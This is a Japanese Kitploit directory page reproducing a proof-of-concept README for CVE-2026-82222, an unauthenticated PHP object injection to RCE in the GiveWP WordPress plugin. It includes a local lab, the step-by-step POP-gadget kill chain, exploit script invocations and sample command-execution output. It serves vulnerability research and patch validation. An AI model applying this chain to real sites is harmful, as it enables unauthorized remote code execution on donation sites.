Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-82222-PoC — CVE-2026-82222(GiveWP WordPressプラグインにおける認証不要のPHPオブジェクトインジェクションからRCEに至る脆弱性)の概念実証およびローカルDDEVラボ。cURLとPythonのエクスプロイトスクリプト付き。 | Kitploit
ツール/GitHubGitHub/sajjadsiam/cve-2026-82222-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト学習と教育リモートアクセスツールペイロード開発ラボと実践
GitHubsajjadsiam/cve-2026-82222-poc

CVE-2026-82222-PoC

CVE-2026-82222(GiveWP WordPressプラグインにおける認証不要のPHPオブジェクトインジェクションからRCEに至る脆弱性)の概念実証およびローカルDDEVラボ。cURLとPythonのエクスプロイトスクリプト付き。

2日前未レビュー
リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-82222 — GiveWP 未認証 PHP オブジェクトインジェクション → RCE

CVE-2026-82222 のラボ + 概念実証: GiveWP WordPress 寄付プラグイン <= 4.16.7.1 における未認証 PHP オブジェクトインジェクションからリモートコード実行に至る脆弱性(4.16.7.2 で修正済み)。

CVECVE-2026-82222
CVSS10.0 (Critical)
CWECWE-502 — 信頼できないデータのデシリアライズ
影響を受けるバージョンGiveWP (Donation Plugin) <= 4.16.7.1
修正済みバージョン4.16.7.2
アドバイザリPatchstack

許可されたテストのみ。 このリポジトリは教育、脆弱性研究、および自身が所有するか明示的にテストを許可されたシステムのテストを目的としています。許可なき使用は違法です。

目的

このリポジトリは、セキュリティ専門家が CVE-2026-82222 を理解し、検出し、防御するための支援を目的としています。すべてのデモは、自身のマシン上で実行するローカルラボ(lab/)向けに設計されています。PoC はディスクに何も書き込まず、プラグイン設定も変更しません — コマンド出力はトリガーリクエストの HTTP レスポンスにのみ含まれます。完全なスコープと報告ポリシーについては SECURITY.md を参照してください。

リポジトリ構成

root@kitploit:~
├── lab/                    # DDEV + WordPress + GiveWP 4.16.5.1 脆弱性ラボ
│   ├── setup.sh            # ワンコマンドでのラボ構築
│   ├── set-givewp-version.sh   # 脆弱/修正済み GiveWP バージョンの切り替え
│   ├── .ddev/config.yaml   # DDEV プロジェクト設定
│   └── README.md
├── poc/
│   ├── cve-2026-82222.sh   # cURL エクスプロイトスクリプト
│   ├── poc.py              # Python エクスプロイトスクリプト
│   └── requirements.txt
├── docs/
│   ├── ANALYSIS.md         # 技術解説 + 到達可能性マトリクス
│   ├── BURP-MANUAL.md      # Burp Repeater チュートリアル(リクエスト/レスポンス)
│   └── CURL-POC.md         # コピー&ペースト可能な cURL チュートリアル
├── SECURITY.md             # スコープ、報告、安全な使用ポリシー
└── LICENSE

脆弱性

4 つの未認証リクエストと 1 つのトリガー:

  1. 登録 — GiveWP の自己登録ハンドラは users_can_register を無視し、認証済み WP クッキーを発行します。
  2. 設置 — シリアライズされた POP チェーン(TCPDF → Symfony Session → DonorFactory → system)をアカウントの last_name メタフィールドに保存します。
  3. 汚染 — give_last なしで寄付を送信します。GiveWP は DB から名前を取得し、allowed_classes=false でガジェットをアンシリアライズし、ライブオブジェクトグラフを wp_give_sessions にシリアライズします。
  4. トリガー — 1 つのリクエストが無制限の unserialize() でセッションを読み戻します。TCPDF::__destruct() が call_user_func_array('system', [cmd]) に到達します。出力は HTTP レスポンスに現れ、ディスクには何も書き込まれません。

詳細: docs/ANALYSIS.md

クイックスタート

1. ラボの構築

root@kitploit:~
cd lab
bash setup.sh
# -> https://cve-2026-82222.ddev.site
#    フォーム ID は最後に表示、ゲートウェイ: manual、WP 管理者: admin/<random>

Docker + DDEV が必要です。

2. PoC の実行

root@kitploit:~
cd poc
pip install -r requirements.txt

# cURL
bash cve-2026-82222.sh https://cve-2026-82222.ddev.site id <FORM_ID>

# Python
python3 poc.py https://cve-2026-82222.ddev.site <FORM_ID> -c id -g manual -a 10.00 -v

# フィンガープリントのみ(エクスプロイトなし)
python3 poc.py https://cve-2026-82222.ddev.site --check

両方の PoC は設計上単一ターゲットです — バッチや大量スキャンモードはありません。lab/ 内のラボ、またはテストを許可されたシステムに対してのみ実行してください。

成功時の出力例(コマンド id):

root@kitploit:~
[*] CVE-2026-82222 kill chain on https://cve-2026-82222.ddev.site (form 5)
[*] 1/5 Registering cve_1b290e (GiveWP ignores users_can_register) ...
      -> HTTP 302
[+] auth cookie obtained
[*] 2/5 Fetching profile nonce ...
[+] nonce=a0fd84c9d7 user_id=7
[*] 3/5 Building POP gadget for command: id
[*] 4/5 Storing gadget in wp_usermeta.last_name ...
      -> HTTP 302
[+] gadget planted
[*] 5/5 Poisoning wp_give_sessions (HTTP 500 is expected) ...
      -> HTTP 500
[+] session poisoned
[*] Triggering RCE ...
[+] COMMAND OUTPUT (id) from /?give_action=view_receipt :

uid=501(sajjadsiam) gid=20(dialout) groups=20(dialout)

3. パッチの検証

root@kitploit:~
cd lab
bash set-givewp-version.sh 4.16.7.2    # 修正済みビルド
cd ../poc
python3 poc.py https://cve-2026-82222.ddev.site <FORM_ID> -c id -v
# -> チェーンが失敗; 出力なし

到達可能性

GiveWPステータス
<= 4.16.5.1脆弱 — デフォルトインストールで完全に到達可能
4.16.6 – 4.16.7.1脆弱 — レガシー(非 V3)フォームが必要; 登録には give_register_nonce が必要
4.16.7.2修正済み

免責事項

このリポジトリは教育および防御的セキュリティ研究目的のみで提供されています。含まれるコードは、防御側が検出を構築し、パッチを検証し、自身のシステムをテストできるよう、文書化された脆弱性を実証するものです。

著者は、この資料によるいかなる誤用や損害についても責任を負いません。明示的な許可なくいかなるシステムに対しても使用しないでください — そうすることは Computer Fraud and Abuse Act (CFAA) および世界中の同等の法律に違反する可能性があります。SECURITY.md を参照してください。

クレジット

  • 脆弱性研究およびアドバイザリ: Patchstack
  • PoC チェーンはローカル DDEV インストール上の GiveWP 4.16.5.1 に対して検証およびラボ構築済み。

ライセンス

MIT — LICENSE を参照してください。

ツールをダウンロード